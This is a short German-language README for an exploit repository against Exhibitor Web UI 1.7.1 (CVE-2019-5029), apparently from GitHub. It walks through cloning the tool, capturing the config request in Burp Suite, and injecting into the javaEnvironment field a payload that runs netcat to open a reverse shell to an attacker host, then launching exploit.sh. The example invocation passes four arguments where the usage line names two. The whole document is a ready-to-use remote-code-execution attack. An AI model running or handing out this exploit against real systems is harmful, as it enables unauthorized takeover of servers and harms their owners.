Exhibitor-RCE

Exhibitor Web Ui 1.7.1 RCE, CVE-2019-5029

Schritt 1:

$ git clone https://github.com/thehunt1s0n/Exihibitor-RCE/

Schritt 2:

$ cd Exihibitor-RCE/

Schritt 3 (optional):

Möglicherweise musst du die JSON-Daten-Payload im Skript bearbeiten. Erfasse dazu einfach die Anfrage mit Burp Suite, wenn du die Änderungen im Config-Tab von Exhibitor vornimmst, und füge sie in den Curl-Befehl im Skript ein.

Stelle sicher, dass du die javaEnvironment wie folgt änderst:

"javaEnvironment":"$(/bin/nc -e /bin/sh '$ATTACKER_HOST' '$ATTACKER_PORT' &)"

Schritt 4:

./exploit.sh <attacker_host> <attacker_port>

Beispiel:

$ ./exploit.sh 192.168.197.98 8080 192.168.45.187 8080